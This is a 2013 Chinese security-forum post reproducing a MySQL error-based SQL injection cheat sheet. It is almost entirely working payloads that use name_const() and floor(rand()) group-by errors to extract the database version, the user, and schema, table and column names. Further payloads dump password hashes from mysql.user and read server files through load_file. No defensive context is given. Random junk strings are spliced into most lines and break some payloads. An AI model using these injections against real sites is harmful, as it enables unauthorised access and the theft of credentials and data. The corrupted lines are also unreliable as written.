找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1962|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
1 d& p$ m' f' R6 b& z9 V0 ^
2 u  O/ V1 w8 @) l+ z' ?0 r9 h% C; r- W: N3 b) }* q, L! p+ d
Mysql暴错注入参考(pdf),每天一贴。。。
1 y8 P- _. M  r- h' b
. u% Q5 t" C0 l7 Q0 r$ l2 V. a/ QMySql Error Based Injection Reference% ~  _+ B- T& g) w9 ]
[Mysql暴错注入参考]
' t$ n. Z0 z. r/ V/ y6 PAuthornig0s1992- u0 {$ C1 S* n8 w( i9 M5 J# G
Blog:http://pnig0s1992.blog.51cto.com/: ~0 B4 p, s& ]# F
TeAm:http://www.FreeBuf.com/
7 d$ [) }. b" WMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
9 u, e- R3 {) r& a& W小部分版本使用name_const()时会报错.可以用给出的Method.2测试
' K( Y- s( E/ a  D( q+ k4 @查询版本:
" l/ K/ j/ ~( Y3 V! Q+ [" c% JMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
. i& j( U; G0 a; `3 h5 c, Y$ ~join+(select+name_const(@@version,0))b)c); w6 k6 ~2 _+ k) I( P4 B
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro1 J. o$ \7 z! e% ?$ ?
up by a)b)% C7 o; g* ]' V5 c# F2 ^, O
查询当前用户:: K4 }5 v- v' ]) |$ F  k: Q9 N
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
4 h0 w; `7 R* C. S" f, UMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
# V* p5 F+ u  Uand(0)*2))x+from+information_schema.tables+group+by+x)a)- Y: O. [3 j3 y& B: `# ^( b
查询当前数据库:3 U( ~5 [! f5 s3 W  J$ m
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)2 j. ?$ S7 H+ r6 b' w$ f" W
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
% H' D6 C/ Z. u/ g& H# Hor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
0 F8 V3 b- P2 |3 x依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+- \. t$ v) b3 S$ ]# B: {
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n* d# X- a6 v$ A* b5 |: `& G7 m
顺序替换
) q; H' H+ q! v' J6 n& q/ V6 a爆指定库数目:
: g" y$ v! w  \0 J# kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t9 u5 `! h4 B! k! ]
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group. c0 W4 F) L+ \5 t! n3 F& \
+by+x)a)+and+1=1 0x6D7973716C=mysql4 `7 [& g  A. x2 g1 K
依次爆表:- Z( c3 D. _9 |) d
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
3 k- L: O2 R* Cable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
/ c4 |  W- X9 C" J/ |( f; Hbles+group+by+x)a)+and+1=1. Y  f2 B. z& d3 @6 X1 ~  x
0x6D7973716C=Mysql 将n顺序替换
9 V' W) p9 i. o1 W/ s; Q7 O爆表内字段数目:# j. g  F& m1 N5 E* ?" m4 R8 P
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE5 B. {- V! [" M/ V# w1 I
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
1 f" t& s3 G6 F& W& A0 {. J/ I! _0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
" ?) Y3 W4 e2 Z$ Q依次爆字段:9 O  x! m) q- B8 d- D* v* P
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
2 k/ ?' p" _, I% N5 ~7 Z+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
! f& b" w( Q9 H, h. ^0 `7 i2 s% e  V! Ploor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
& T" f4 W: t9 s$ Z  ~依次暴内容:
+ m* S2 w2 i' f& kand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche- p5 ?1 g" L" m# E
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=15 |2 |  Q5 r5 z" I
将n顺序替换
3 G# B5 ~/ C9 d5 ~3 n: T爆文件内容:
% m  ~( Q; U% Y3 i/ z+ Nand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a+ f+ x: T4 |# |* i
from+information_schema.tables+group+by+a)b)
5 B' Y- C* A- D$ f- k/ ?( o7 B8 P0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节# x& J7 b: q4 ?5 q
Thx for reading.  {4 m, w4 ~3 d! H! ~1 P9 [5 }0 m3 g
- f$ H/ s; M* ~# z, o4 ^
不要下载也可以, " {* O7 Q) a& c2 {1 m* K) U

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表